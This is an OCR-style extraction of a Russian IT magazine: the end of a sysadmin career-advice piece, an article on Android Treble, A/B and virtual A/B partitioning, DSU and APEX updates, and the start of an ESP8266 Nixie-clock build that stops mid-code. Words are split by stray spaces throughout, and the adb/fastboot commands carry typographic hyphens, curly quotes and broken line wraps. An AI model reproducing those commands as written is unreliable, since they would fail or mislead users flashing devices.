Оп ределить, куда ты попадешь, заранее невоз можно. На собесед ова нии
может показать ся, что вот он — рай для молодог о толк ового спец иалис та, а в
дейс тви тель ност и ты ока жешьс я в тех ническ ом отде ле, напомин ающем дом
прес тарелых — и по кон тинген ту, и по под ходу к работе. А бывае т наобор от.
Потому ори енти роватьс я нуж но в перв ую оче редь на отзыв ы тех сот рудник ов,
которые уже порабо тали в этой фир ме.
Ко роче, если перед тобой школ а, опто вые тор говцы автоз ап частя ми
или парф юмер ный салон — тебя ждут сай ты и запр авка карт ридж ей в прин‐
терах. Если это круп ный интеграт ор, хос тинг‐про вайд ер, IT‐вен дор — работа,
ско рее все го, будет более интер есн ой и более похожей на сис темное адми‐
нис три рова ние.
И в общем слу чае подх од «надо с чего‐то начинать» работа ет не лучш им
образ ом. Велик шанс, что ты прост о пот ратишь неск ольк о драг оцен ных лет
впуст ую, ничему не научишьс я и получишь сомн итель ную запись в тру довой
книжк е. Так что совет прос той: смот ри, куда идешь!
ИТОГИ
Итак, сказ ано было мног о, давай попр обу ем выделить основные мыс ли.
• Си садм ин — это не прогр аммист, и обуч ение здесь будет друг им. Хотя
пересеч ения, безус ловно, есть.
• Да леко не любые IT‐шко лы полезн ы: чтоб ы были резуль таты, нуж но смот‐
реть, обуч ение там дают или в основном разв ле чение.
• Выб ор межд у вузом и кол леджем — шту ка слож ная и зависит от лич ных
обсто ятель ств. Если есть возм ожность — иди в вуз, но и колл едж — это не
приг овор. Глав ная цен ность — это твои уме ния, а не корочк а.
• Ус траи вай ся на такую работу, где будет шанс чему‐то научить ся. Даже
мел кие орган иза ции бываю т раз ными.
• Сам ообу чение — наше все. Ста райс я научить ся все му, что у тебя получа‐
ется. Путь айтишн ика — пост оянн ое самораз витие.
• Не давай «офис у» польз оватьс я тобой. Если ты чувс твуе шь, что не рас тешь
как про фесс ионал, — ухо ди, не теряй врем я и силы не там, где надо.
GEEK
ОБНОВИТЬ
НЕОБНОВЛЯЕМОЕ
TREBLE,
A/B‐РАЗМЕТКА,
ДИНАМИЧЕСКИЕ
И МОДУЛЬНЫЕ
ОБНОВЛЕНИЯ
ANDROID
Евгений Зобнин
Редактор Unixoid и Mobile
[email protected]
Пред ставь себе смарт фон, который обновляе тся до новой
верс ии ОС за секун ды. Смарт фон, который никогд а не прев‐
ратитс я в кир пич из‐за неудачн ого обновлен ия. Смар тфон,
который поз воля ет устан ав ливать вто рую про шивк у рядом
с основной и под держив ает десятк и каст омных про шивок
сра зу посл е выхода с конв ейе ра. А ведь все это уже реаль‐
ность, которую даже не надо ждать.
Эта статья расс ка зывае т о ряде техн ологий, которые были интегри рова ны
в Android в посл едние неск оль ко лет и приб лизили решение проб лемы фраг‐
мента ции, отсутст вия обновле ний и сущес твен но упростил и созд ание кас‐
томных про шивок.
TREBLE
Вопр еки рас хожему мне нию, основная проб лема, с которой сталк иваю тся
про изво дител и смарт фо нов при обновле нии про шивок свои х телефо нов, —
это вов се не пофигизм и лень (хотя это тоже час то встреч ает ся), а необ‐
ходимость ждать, пока прои зво дите ли чипс етов и дру гих хар дварн ых ком‐
понен тов обно вят драй веры до новой вер сии Android.
Де ло в том, что Android, как и мног ие дру гие про дук ты Google, очень дол‐
гое врем я раз вивал ся в режиме вечн ой беты. Это зна чит, что Android менял‐
ся. Не толь ко и не стольк о в пла не интерфейс а, сколь ко в пла не внут ренней
архит ек туры.
В Android никог да не было усто явшег ося, обратно совм ести мого
интерфей са межд у сист емой и драй верами. В боль шинс тве слу чаев нель зя
было прост о взять новую вер сию Android и «посадить» ее на драйв еры и ядро
Linux от стар ой верс ии. Поч ти всег да что‐нибудь да отвал ива лось.
Тре бовал ись обновленн ые драйв еры, разр абот кой которых занимал ся
про изво дитель железа, а вов се не про извод итель смар тфон а. Поэтом у, если
про изво дитель чип сета, камеры или Wi‐Fi‐адап тера по тем или иным при‐
чинам отказ ывал ся подд ержив ать стар ое железо (что про исход ит очень час‐
то, а в слу чае с такими ком пания ми, как MediaTek, пост оянн о), полн оцен ный
порт новой верс ии Android стан овит ся поч ти невозм ожен.
Созд атели кас томных прош ивок искал и обходные пути, что бы зас тавить
новую вер сию Android работать на ста рых драй верах. В дело шли любые при‐
емы от прос того «не работа ет, забейт е» до разл ичных прогр ам мных прос‐
лоек, обесп ечиваю щих работу на устар евш их драй верах. Так, в каст омных
про шивк ах для Xiaomi Redmi 1s есть прос лойк а, которая поз воля ет исполь‐
зовать камеру в Android 7.1.1, хотя драйв еры для нее зас трял и еще на уровн е
верс ии 4.4.4.
Одн ако для ком пании — прои зво дите ля смарт фо на такой под ход зачаст ую
непр ием лем. Устройс тво с выпол ненным подобн ым образ ом порт ом может
прос то не пройт и сер тификац ию Google. Кром е того, такие просл ой ки неред‐
ко при водят к сбо ям в неожи данн ых мест ах и не обесп ечива ют новую фун кци‐
ональ ность, которая может тре бовать ся Android для кор рек тной работы (нап‐
ример, под дер жка новых режимов камеры).
К счастью, в какой‐то момент Google решила положить конец этой вак‐
ханалии и станд арти зовать‐таки прогр ам мный интерфейс меж ду драйв ерами
и Android. Это и есть ини циатив а Treble, и она была воп лощена в жизнь в An‐
droid 8.0.
Суть Treble прос та и уже дол жна быть понят на: код Android раз деля ется
на две незави симые част и, одна из которых содер жит драй веры и весь
зависим ый от железа код, а вто рая — саму опе раци онную сис тему. Прогр ам‐
мный интерфейс межд у эти ми комп онент ами стан дарти зует ся и оста ется ста‐
бильн ым межд у релизам и Android. Как результ ат, для порт ирова ния новой
вер сии Android дос таточ но пор тировать плат форменн о незави симую часть
сист емы, и она кор рект но заработ ает на име ющих ся драйв ерах и верс ии
ядра Linux, с которой смарт фон был выпущен на рынок.
Так было...
...а так теперь
Это в теории. На прак тике же есть пара под водных камн ей.
1. Android будет про дол жать раз вивать ся, и новые фун кции могут пот‐
ребовать изме нений в Treble. Разр абот чики Android пре дус мотрел и это и
гаран тиру ют, что сущес твую щие верс ии API Treble прод олж ат под держи‐
ватьс я минимум три года (пока неточ но). При этом часть фун кций, которые
не могут быть реализ ова ны с исполь зовани ем ста рых вер сий Treble, пла‐
нируе тся либо эму лиро вать, либо прос то отклю чать. По сути, Android будет
вклю чать офиц иальн ые просл ойк и совм ести мос ти по типу тех, что рань ше
при ходи лось прид умыв ать раз работ чикам каст омных прош ивок.
2. Treble до сих пор находит ся в про цесс е разв ития и содерж ит неск оль ко
важн ых API (напр имер, в совм ести мых с Treble про шивк ах может отвал ить‐
ся скан ер отпе чат ков паль цев). Так же сущест ву ет пробл ема, ког да про‐
изво дитель смар тфо на намерен но или случ ай но ломае т Treble API (прив ет,
Huawei), так что без кос тылей Treble‐сов мести мые прош ив ки на таком
смарт фо не не зарабо тают.
Теп ерь о самих Treble‐совм естим ых прош ивк ах. Сраз у пос ле выпус ка Android
8.0 Google начала пуб ликовать так называ емые образ ы GSI (Generic System
Image). Это офи циальн ая сбор ка «чист ого» Android (AOSP) для Treble‐сов‐
мести мых устройс тв. В теории ее можн о про шить на раз блок иров анн ое
устрой ство с помощью fastboot и получить офи циальн ый Android.
Android 10 GSI на 15 разл ичных устройс твах
Чуть позж е GSI‐сборк и начали подг отав ливать и разр абот чики кас томных
про шивок. Нап ример, ты можешь скач ать GSI‐сбор ку от phhusson с мно жес‐
твом фик сов для разн ых устройс тв. В те ме, посв ященн ой Treble, на 4PDA есть
мно жес тво Treble‐совм естим ых про шивок, включ ая LineageOS. Ну а про‐
верить свое устройс тво на сов местим ость с Treble можн о с помощью при‐
ложен ия Treble Check.
A/B-РАЗМЕТКА
Еще одна пробл ема с обновле ниями — отказ поль зовател ей. Как показыв ает
прак тика, мно гие вла дель цы смар тфо нов не хотят обновлять свои устройс тва,
потому что: а) это отни мает вре мя, в течение которог о смарт фон будет
недос тупен для исполь зования; б) посл е обновле ния смар тфон может
работать некор рект но или не вклю читьс я вооб ще.
В свое вре мя раз работ чики Chrome OS такж е столк нул ись с этой проб‐
лемой и соз дали надеж ную и незамет ную польз овате лю сист ему бесш овног о
обновле ния (Seamless updates). Суть ее сос тоит в том, что вмест о одно го
сист емно го разд ела, поверх которо го нак ладывал ись бы обновлен ия сис‐
темы, Chrome OS использ ует два иден тичных сист емных разд ела, кажд ый
из которых содерж ит свою копию опер аци онной сис темы.
Об новлен ие в Chrome OS про исхо дит след ующим обра зом: когд а ОС
обна ружи вает наличие обновле ния, она скач ивае т его в фоне, устан авл ивае т
на вто рой (неакт ивный) сис темный раз дел и помеча ет этот разд ел
как активный. Пос ле перезагр узки (не обяз атель но сра зу посл е обновле ния)
ОС запуск ает ся уже с это го раз дела.
Бла года ря такой схе ме польз ователь даже не подоз рева ет, что сист ема
обно вилась, он прост о попада ет в обновленн ую ОС пос ле перезагр узки
или вклю чения ноут бука. При этом Chrome OS спос обн а гаран тировать, что
пос ле обновле ния польз ователь не получит кир пич: если во врем я заг рузки
с обновлен ного раз дела про изой дет сбой — сис тема пометит текущий раз‐
дел фла гом unbootable, сдел ает активным «ста рый» сист емный разд ел и заг‐
рузит заведо мо рабочую верс ию ОС.
На чиная с седьм ой вер сии Android такж е подд ержи вает бес шовные
обновлен ия и так называе мую A/B‐раз метку разд елов. Однак о, так как сис‐
темных разд елов в устройс твах с Android нам ного больш е, чем в хром буках,
сама рас клад ка раз делов получа ется более запутан ной. Вот тольк о часть
разд елов, которые приш лось дуб лировать:
• boot — содер жит ядро и RAM‐диск, на устрой ствах с A/B‐раз меткой так же
кон соль вос ста новл ения (recovery);
• system — содерж ит Android, сис темные биб лиоте ки, сист емные при ложе‐
ния, стан дарт ные рин гтон ы, обои и так далее;
• vendor — драйв еры и все необ ходимые прос лой ки для работы с железом
(Project Treble);
• userdata — нас тройк и, прил ожен ия и данн ые польз овател я;
• radio — про шивк а ради омод уля (подд ерж ка сотовых сетей);
• vbmeta — разд ел Android Verified Boot 2.0 (механизм доверен ной заг‐
рузки), содер жащий кон трольн ые сум мы ком понен тов сис темы.
Все го дубл ированн ых разд елов может быть нес кольк о десят ков. Нап ример,
на OnePlus 6 с A/B‐разм еткой общее количес тво раз делов — 72 и неск оль ко
десят ков из них использ уют ся толь ко заг рузчик ом.
От друг их раз делов, наобор от, ста ло возм ожным отказ атьс я. Устрой ства
с A/B‐раз меткой не вклю чают в себя отдельн ый разд ел recovery (конс оль
восс та новл ения, нуж на для устан ов ки обновле ния и сброс а до заводс ких нас‐
тро ек) и разд ел cache, который использ овал ся для хран ения файл ов
обновлен ий (теперь обновлен ие ска чивае тся напр ямую в неак тивный раз‐
дел).
Двой ные раз делы на смарт фон е OnePlus 6
A/B‐разм етка так же поз волила вдвое сокр атить разм ер разд ела system, что
вкуп е с удал ение м раз делов recovery и cache сде лало переход на новую
схем у раз метки менее болез ненным. Напр имер, на смар тфон ах Pixel потеря
прост ранст ва сос тавила все го неск оль ко сотен мегабайт.
Раз дел Раз мер A/B Разм ер A-only
Bootloader 50 Мбайт × 2 50 Мбайт
Boot 32 Мбайт × 2 32 Мбайт
Recovery 0 32 Мбайт
Cache 0 100 Мбайт
Radio 70 Мбайт × 2 70 Мбайт
Vendor 300 Мбайт × 2 300 Мбайт
System 2048 Мбайт × 2 4096 Мбайт
Всег о 5000 Мбайт 4680 Мбайт
Еще одно дост оинс тво A/B‐разм етки — отсутс твие экран а «Android is upgrad‐
ing…» посл е обновлен ия. Сист ема прос то заг ружа ется как обычн о. Такж е
A/B‐раз метка упро щает тес тирова ние кас томных про шивок: кас том можн о
пост авить вто рой сист емой и откат ить ся на пер вую, если что‐то пойд ет
не так.
В целом одни плю сы и никаких минусов. Пробл ема толь ко в том, что A/B‐
раз метка до сих пор остае тся опци ональ ной, а переш ли на нее далеко не все
про изво дите ли смар тфо нов. Даже Samsung — крупн ейш ий прои зво дитель
устройс тв на Android — до сих пор исполь зует ста рую разм етку. И свя зано
это, ско рее все го, с нежела нием трат ить средст ва и врем я на переп рофили‐
рован ие уже работаю щей и отла жен ной сис темы обновлен ия.
Про верить, под держив ает ли твой смар тфон A/B‐раз метку, можн о
с помощью все того же при ложе ния Treble Check из пред ыду щего разд ела
или про читав переменн ую ro.build.ab_update с помощью ADB:
$ adb shell getprop ro.build.ab_update
Шпаргалка по управлению A/B-разделами с помощью
fastboot
Узн ать, какой слот (груп па разд елов) теперь акти вен:
$ fastboot getvar all | grep “current‐slot”
Сдел ать неакт ивный в дан ный момент слот активным:
$ fastboot set_active other
Сдел ать активным ука зан ный слот (a или b):
$ fastboot set_active СЛОТ
Про шить указ ан ный разд ел:
$ fastboot flash имя_раздела_a partition.img
$ fastboot flash имя_раздела_b partition.img
ДИНАМИЧЕСКИЕ ОБНОВЛЕНИЯ
Project Treble открыл дорогу для еще одной весь ма полез ной фун кции — Dy‐
namic System Updates (DSU). Этот механизм появил ся в Android 10 спе циаль‐
но для польз овател ей и разр абот чиков, которые хотят про тест ировать новую
(бета) вер сию Android, но не желаю т жер тво вать для этог о устан овл енной
сист емой и сво ими дан ными.
DSU базиру ется на техн ологии Dynamic Partitions, которая дол жна быть
реали зова на во всех устройс твах, выпущен ных на рынок с Android 10.
При использ овании Dynamic Partitions в смарт фон е, по сути, есть тольк о один
супер раздел, в котором сис тема может созд авать динамич ес кие раз делы,
уда лять их и менять раз меры (такое возм ожно бла года ря модулю ядра Linux
dm‐linear).
Все сист емные разд елы в таком смар тфон е тоже динами ческ ие (кро ме
загр узоч ных разд елов: boot, dtbo и vbmeta). Поэто му при необх одимос ти сис‐
тема может сдвин уть их, что бы освоб одить мест о для допол нитель ных раз‐
делов. Имен но так дела ет функ ция DSU. Она умень шает раз мер сис темных
разд елов, соз дает в осво бодив шемся прос транст ве еще один набор сис‐
темных разд елов и устан авл ивае т в него образ GSI. Далее смарт фон
перезагр ужае тся в эту све жеуст ановл енную сис тему, а сле дующая перезаг‐
рузка выпол няет ся вновь со стан дарт ных разд елов.
Что бы уста новить образ GSI, использ уя DSU, для начала необх одимо раз‐
бло киро вать заг рузчик смарт фон а. Затем актив иров ать DSU с помощью ADB:
$ adb shell setprop persist.sys.fflag.override.settings_dynami
c_system true
За тем нужн о скач ать сам образ, рас паковать и закинуть его на внут реннюю
карт у памяти смарт фо на:
$ gzip ‐c system_raw.img > system_raw.gz
$ adb push system_raw.gz /storage/emulated/0/Download/
Зат ем мож но запус тить устан овк у:
$ adb shell am start‐activity \
‐n com.android.dynsystem/com.android.dynsystem.VerificationActivity
\
‐a android.os.image.action.START_INSTALL \
‐d file:///storage/emulated/0/Download/system_raw.gz \
‐‐el KEY_SYSTEM_SIZE $(du ‐b system_raw.img|cut ‐f1) \
‐‐el KEY_USERDATA_SIZE 8589934592
Пос ле окон чания уста новк и в штор ке появит ся увед ом ление с пред ложение м
перезагр узить ся.
Предл ожение перезаг рузить смарт фон пос ле устан ов ки GSI
Сложн о, не прав да ли? Имен но поэто му в Android 11 появил ась функ ция
под наз вание м DSU Loader. Она поз воляе т авто матич еск и заг рузить и уста‐
новить образ GSI в пару клик ов.
В текущих сборк ах Android 11 DSU Loader треб ует разб ло киров ан ный заг‐
рузчик. Одна ко к релизу ста бильн ой верс ии Google пла нируе т убрать
это огран ичен ие.
DSU Loader
ВИРТУАЛЬНАЯ A/B-РАЗМЕТКА
Кро ме воз можнос ти вре мен ной устан ов ки офиц иаль ных сбо рок GSI,
механизм DSU такж е поз волил реализ овать еще одну весьм а интер ес ную
фун кцию — Virtual A/B.
Мы уже расс мат ривали преи му щест ва новой A/B‐разм етки и то, какие
пробл емы она может решить. Одна ко вви ду потери прост ранст ва, которое
может при нес ти с собой A/B‐разм етка на устройс твах с огран иченн ым объ‐
емом NAND‐памяти, а такж е проб лем с мигр аци ей Google не спе шит зас‐
тавлять про изво дите лей смарт фо нов исполь зовать новую раз метку.
Вмес то это го они соз дали вирт уальн ую A/B‐разм етку. Работа ет она при‐
мер но так же, как динами ческ ие обновле ния, тольк о без откат а на ранее
устан овл енную про шив ку: ког да смарт фон обна ружи вает новое OTA‐
обновле ние, он соз дает нес коль ко допол нительн ых сис темных разд елов
для новой про шив ки, скач ива ет в них обновлен ие, а затем делае т эти раз‐
делы активным и (как и в слу чае с A/B‐раз меткой). Посл е сле дующей перезаг‐
рузки смар тфон загр ужа ется уже с новых раз делов; если загр узка про ходит
успешно, то стар ые раз делы уда ляют ся, а освоб ож денное ими мес то отда‐
ется раз делу userdata.
Вирт уаль ная A/B‐разм етка будет обяз атель ной для всех устройс тв,
вышед ших на рынок с Android 11.
МОДУЛЬНЫЕ ОБНОВЛЕНИЯ
Еще один шаг в решении пробл емы с обновле ниями — Project Mainline.
Это внед ренная в Android 10 подс истем а, поз воля ющая обновлять кус ки An‐
droid в обход про изво дите ля устройс тва.
В цент ре новой под систем ы — пакет ный менед жер APEX, очень похожий
на тот, что исполь зует ся в дист ри бути вах Linux и новой опер ацио нке Google
Fuchsia. Работае т он при мерн о так: допус тим, по оче редн ому ука зу пра‐
витель ства в Росс ии вновь меняю т часовые пояса. Коман да разр абот чиков
Android форм ируе т новую верс ию пакета с часовым и поясам и и вык ладывае т
ее в Google Play. Польз овате ли получаю т обновле ние — все счас тли вы.
Со держ имое пакета APEX
Так им же образ ом могут быть обновле ны библ иотек и и целые подс истем ы.
Уже сейч ас в AOSP дост упны пакеты с рант ай мом ART («вир туаль ная
машина», ответст венн ая за запуск при ложе ний), библ иоте ка крипт огра‐
фическ их алго рит мов Conscrypt, набор мульт имедийн ых кодеков, муль‐
тимедийн ый фрей мворк, DNS‐резол вер, интерфейс Documents UI, Permission
Controller, ExtServices, данн ые часовых поясов, ANGLE (просл ойк а для тран‐
сля ции вызовов OpenGL ES в OpenGL, Direct3D 9/11, Desktop GL и Vulkan)
и Captive Portal Login. В теории в пакет APEX мож но упак овать практ ичес ки
любой ком понент сис темы, и польз овате ли смо гут обнов ить его незави симо
от про изво дите ля смарт фо на.
Инт ересн о, что APEX не про извод ит обновле ние «на живую», ког да стар ый
ком понент заменя ется новым. Раз дел /system в Android недост упен
для записи, поэто му APEX использ ует трюк с монт ирован ием. Все обновля‐
емые файл ы внут ри пакета APEX находят ся в образ е фай ловой сис темы ext4.
Ког да пакет «устан авл ива ется», сист ема мон тируе т этот образ поверх раз‐
дела /system в режиме bind. В резуль тате фай лы пакета как бы заменя ют
ори гиналь ные файл ы Android, хотя в реальн ос ти все оста ется на сво их мес‐
тах.
Так ой же трюк использ ует Magisk для уста новк и модифик аций Android
без измен ения разд ела /system. И его автор уже сказ ал, что APEX стан ет
проб лемой для Magisk.
«Устан ов ка» пакета APEX
Трюк с сохранением пространства
Вни матель но про читав раз дел «A/B‐разм етка», ты мог заметить, что эко‐
номия прост ранст ва при такой разм етке в основном дос тигае тся за счет сок‐
ращения разм ера раз дела system в два раза. И дело здесь вов се не в том,
что при A/B‐разм етке использ ует ся какая‐то спец иализ иров анн ая сборк а An‐
droid, а в отка зе от «лишн их» фай лов.
В класс ическ ом вари анте разм етки сист емный раз дел содерж ит не толь ко
саму опер ацио нную сис тему, но и так называ емые фай лы odex. Они пред‐
став ляют собой опти мизир ованн ые (про пущенн ые через AOT‐комп илятор)
верс ии dex‐файл ов, которые, в свою оче редь, содерж ат код прил оже ния.
Файл ы odex позв оляю т сокр атить врем я стар та прил ожен ия и повысить
его про изво дитель ность. Они могут быть созд аны тре мя путями:
• преи нстал лирован ы на устрой ство (в класс ичес ком вари анте раз метки —
в раз дел system);
• сген ери рован ы динамич ес ки во вре мя исполь зования при ложе ния
или прос тоя устрой ства;
• загр ужены из Google Play вмес те с самим прил ожен ием.
От сутст вие фай лов odex может серье зно испортить польз ователь ский экспи‐
риенс от перв ого запуск а смар тфо на (вре мя заг рузки может сос тавить нес‐
кольк о минут вмест о десят ков секунд), поэтом у они необх одимы сра зу. С дру‐
гой сто роны, они занима ют при мерн о половин у все го прост ранс тва раз дела
system, а если этот разд ел прод уб лировать, то потеря прост ранст ва ста нет
сущес твенн ой.
Именн о поэто му разр абот чики отказ ались от пред уст анов ки фай лов odex
в активный сист емный раз дел, а вмес то это го залили их в неакт ивный сис‐
темный раз дел вмест о копии опе раци онной сист емы. Так что жизн енный цикл
смар тфо на с A/B‐раз меткой выгл ядит так:
1. При выпус ке с конв ейе ра разд ел system_a активный, содер жит файл ы
опер ацио нной сист емы, разд ел system_b неакт ивный, содерж ит фай лы
odex.
2. Во врем я пер вого запуск а сист ема копиру ет файл ы odex в разд ел user
data.
3. Пос ле получен ия пер вого OTA‐обновлен ия сис тема записы вает обновле‐
ние в раз дел system_b, далее запуск ает генерац ию фай лов odex (инст ру‐
мент dex2oat) для новой вер сии ОС (они так же записы вают ся в userdata)
и посл е ее заверш ения помеча ет разд ел system_b (все раз делы сло та B)
как активный.
4. Посл е перезагр узки смарт фон загр ужа ет опер ацио нную сист ему с раз‐
дела system_b, использ уя сген ерир ованн ые на третье м этап е фай лы
odex.
ВЫВОДЫ
A/B‐раз метка и динамич ес кие разд елы — одни из самых интер ес ных и полез‐
ных тех нологий, появивш ихся в Android в посл едние пять лет. В теории с их
помощью можн о реали зовать муль тизагр узку, соз давать разд елы для любых
подс обных задач и пол ностью менять таб лицу раз делов устрой ства, выкинув
все лиш нее. Пробл ема толь ко в том, что без раз лочки заг рузчик а и кас томной
про шивк и все это будет недост упно.
APEX, с дру гой сто роны, в теории может решить боль шинст во проб лем
с обновле нием смар тфо нов. Одна ко, в отлич ие от дист ри бути вов Linux и ОС
Fuchsia, пакеты APEX больш е напомин ают кос тыль, чем умес тное инжен ерн ое
решение. С друг ой сто роны — луч ше так, чем никак.
GEEK
КАК Я СДЕЛАЛ «УМНЫЕ» ЧАСЫ
НА ТРУБКАХ NIXIE И ESP8266
Candidum КРАСИВОЕ
[email protected] ВРЕМЯ
Нав ер няка ты уже видел в интернет е самодель ные при боры
с кра сивым и вин тажным и лам пами, внут ри у которых жел‐
то‐оран жевые све тящие ся цифр ы. Эти штук и называ ются
«газоразр ядные индик атор ы» или Nixie tube. В этой статье я
расс каж у, как сде лал из них часы с модулем Wi‐Fi. Впроч ем,
можн о не толь ко использ овать их как часы, но и выводить
любую информа цию — нап ример, заг рузку цент раль ного
проц ес сора в деск топ е.
Один из глав ных недос татков самодель ных часов (да и не тольк о самодель‐
ных, к сожале нию) — точ ность хода невысок а. Как эту проб лему решаю т?
Некото рые использ уют спе циализ иро ванн ые мик росхем ы с тер моком пенса‐
цией ухо да част оты, нап ример DS3231. По клю чевым параметр ам она замет‐
но пре восх одит популярн ую сре ди радио лю бител ей DS1307. С пос ледней
даже при удачн о подобр анном квар цевом резонат оре часы ухо дят на нес‐
коль ко минут в год.
Одн ако можн о зай ти и с дру гой сто роны, а имен но — восп оль зоватьс я
сер верами точ ного врем ени. Да, тогд а устройс тву пот ребуе тся под ключ ение
к сети, но сей час это уже не пред став ляет особ ых труд ностей. Кро ме того,
сра зу исче зает проб лема устан овк и текущег о вре мени. У часов может
не быть кно пок вов се. Это луч ший интерфейс: прос то вклю чил, и они работа‐
ют. Магия? Нет‐нет, лучш е — техн ологии!
Дос таточ но очев идн ый спос об получить дос туп к сети в самодель ном гад‐
жете — это использ овать один из мно гочис ленных модулей на ESP8266, нап‐
ример ESP12E. Моей перв ой мыслью было соб рать часы на мик рокон трол‐
лере (STM32F030 или ана логич ном), подк лю чить ESP12E по UART и вза имо‐
дейс тво вать с модулем с помощью AT‐команд. Это наибо лее прос той путь,
но он не самый раци ональ ный.
Дейс тви тельн о, ведь ESP8266 тоже очень непл охой МК с 32‐бит ным
ядром, поэто му вариа нт реали зовать все в одном мест е выгл ядел слишк ом
собл азнит ель но. Одна ко при раз работ ке и прот оти пиров ании пришл ось
стол кнутьс я с рядом неоче вид ных труд ностей. Часть из них уда лось решить,
часть пришл ось обой ти, и ниже я пост ара юсь расс каз ать обо всем в под‐
робност ях.
ПРОГРАММИРОВАНИЕ ESP8266
Взве сив все за и про тив, я решил писать код на С. MicroPython тоже смот‐
релся заман чиво, но в итог е тяга к минимал изм у взял а свое. Про шив ка ком‐
пилируе тся с использ ование м инст ру мен тов esp‐open‐sdk. Кста ти, для Arch
Linux есть соот ветс твую щий пакет в AUR, с его сборк ой мень ше все го проб‐
лем. Если ты никогд а не имел дела с модулям и ESP8266, то для быс трог о
старт а рекоменд ую ознак омить ся с каким‐нибудь рук оводс твом в интернет е.
По это му далее я не буду остан ав ливать ся на базовых вещах. Замечу лишь,
что ско рость про шив ки ESP8266 можн о знач итель но повысить по срав нению
со станд арт ным и наст ройк ами. Так, использ ование пре образ оват еля USB —
UART на осно ве FT232RL позв оля ет уста новить скор ость передач и в esptool
до 3 Мбит/с, что сущес твен но больш е пред ельн ой ско рост и FT232RL. Одна ко
мой чип с такими нас тройк ами работал устой чиво. Получит ся ли это на друг их
похожих микр осхе мах — СН340 или СР2102, я не пров ерял. Ско рость зада‐
ется с помощью клю ча ‐b, а нуж ная секц ия Makefile с изме нения ми выгл ядит
так:
flash:
$(ESPTOOL) ‐b 3000000 write_flash 0 $(TARGET).elf‐0x00000.bin
0x10000
$(TARGET).elf‐0x10000.bin
SPI В ESP8266
По добн о тому как язык чукч ей беден на сло ва, но богат на обра зы, в ESP12E
мало выводов, но мно го интерфей сов. Поэто му разум но под клю чить блок
индик ации через какой‐нибудь посл едова тельн ый интерфейс, нап ример SPI.
В ESP8266 есть два таких интерфейс а — SPI и HSPI — и ровн о одна неоче‐
вид ная засада, свя зан ная с ними. Дело в том, что стан дар тный SPI исполь‐
зует ся для чте ния из внешн ей флеш‐памяти, содер жащей про шивк у.
При неакк урат ном обращ ении с интерфей сом в мик рокон тролл ере воз никнет
кон фликт дост упа, что при ведет к зависа нию и перезаг рузке.
И самое забав ное: если больш инст во фун кций находит ся во внут ренней
RAM, то вся эта конс трукц ия может даже успешно работать какое‐то врем я,
но неожи данн о падать через неск оль ко часов работы. Обой ти эту пробл ему
несл ожно — дос таточн о использ овать HSPI вмест о SPI. Станд ар тная биб‐
лиотек а, вхо дящая в сос тав офи циаль ного SDK, мне показа лась неудобн ой,
и я исполь зовал сто ронн юю реали зацию ESP8266_SPI_Driver. По умол чанию
тут задана час тота так тирован ия 4 МГц, порядок битов MSB first, SPI mode 1
(CPOL=0, CPHA=1) — более чем дост аточн о для моих задач. Для передач и
использ уют ся мак рофунк ции spi_tx8() и spi_tx32(), а сама ини циали зация
интерфей са три виальн а:
spi_init(HSPI);
НЕ ВСЕ ТАК ПРОСТО
С самого начала я собирал ся реали зовать ста тическ ую индик ацию, для чего
пла ниро вал взять два сдви говых регис тра 74HC595 и под клю чить к ним
на выход четыре К155ИД1 (анал ог SN74141). Одна ко в моих запасах нашл ись
тольк о три такие мик росхе мы, а докупать их я не захотел. Цены
на К155ИД1 сей час кусаю тся, а в некото рых мест ах она стои т даже дороже,
чем ESP12E в Китае. И тут мне на глаз а попалась MAX7219, пред назна ченн ая
для динамич ес кой индик ации на семисег мен тных све тодио дных панелях. И я
задал ся воп росом: мож но ли с ее помощью сдел ать динамич ес кую инди‐
кацию на неоно вых индик ато рах ИН1? Забегая впер ед, скаж у, что можн о,
но ком мутацию ано дов прид ет ся устраи вать на тран зистор ах.
Итак, берем MAX7219 и подк лю чаем на выход (выводы сег ментов) дво‐
ично‐десятичн ый дешиф ратор К155ИД1. Здесь очень удач но совп ало, что
в MAX7219 выводы сег ментов в вык люченн ом сос тоянии подт ягиваю тся к зем‐
ле, а не перехо дят в Z‐сос тояние. Поэто му К155ИД1 мож но под клю чить нап‐
рямую. Комм утиро вать ано ды я решил оптосбор кой TLP627‐4, которая дол‐
жна быть дост аточн о быс трой для подобн ой задачи.
Схем а инди кации на MAX7219
Об рати вни мание, что MAX7219 — это логика с уров нем 5 В, а у
ESP8266 толь ко 3,3 В. Сле дуя луч шим рекомен дация м, здесь нуж но став ить
пре обра зова тель. Однак о в дан ном случ ае все прек расно работа ет и без
него, так что забудем о рекоменд ация х.
Ма кет на MAX7219
Итак, соб рали макет, подк лю чили один инди катор, ини циализ иров али
MAX7219, отпра вили данн ые — работа ет! Подк люч или еще три инди като ра,
отпра вили данн ые — не работа ет. Непр ият ность, однак о.
Как оказ алось, все дело было в том, что моя оптосборк а мед ленно зак‐
рывалась. Из‐за это го цифр ы дво ились: когд а включ алс я новый раз ряд, пре‐
дыдущ ий про дол жал гореть некото рое вре мя. Решить эту пробл ему, веро‐
ятно, можн о было с использ ование м тран зисто ров вмес то оптосбо рок, как на
схем е ниже.
Транз исторн ый ключ
Но маломощн ых высоков ольт ных тран зисто ров у меня не ока залось, и я
решил наст ро ить тай минг и динами чес кой инди кации. Поск ольк у с мик росхе‐
мой MAX7219 сдел ать это не пред став лялось воз можным, я заменил ее
на сдвиг овый регистр, что поз волило получить кон троль над тай минг ами.
Одна ко это такж е пот ребовал о реализ овать динами ческ ую инди кацию в коде.
Ди нами чес кая индик ация на сдви говом регист ре
Сдвиг овый регистр тоже устойч иво работае т c ESP8266 без прео браз ова‐
теля уров ней. Данн ые перио ди ческ и передаю тся по SPI, который огра ничен‐
но сов местим с серий ным интерфейс ом сдви говог о регис тра (ранее это уже
обсужда лось в статье про мобильн ый телефон). Каж дая посыл ка предс тав‐
ляет собой байт, четыре старш их разр яда которог о отве чают за включ ение
ано дов, а млад шие четыре раз ряда кодирую т выводим ую цифр у. Проб лему
недост аточн ой ско рост и вык лючения опто пары удал ось решить прогр амм но,
заранее вык лючая анод за некото рое вре мя до включ ения след ующе го.
#define send595(data) spi_mast_byte_write(SPI,data)
uint8_t ind[4]={4,3,2,1};
void ICACHE_FLASH_ATTR user_init() {
...
spi_master_init(SPI);
os_timer_setfn(&led_timer, (os_timer_func_t *) indicate, NULL);
os_timer_arm(&led_timer, 1, 1);
...
}
LOCAL void indicate(void *arg) {
static uint8_t n=0, i=0;
if (++i % 2) {
send595((1<<(n+4))|ind[n]);
} else {
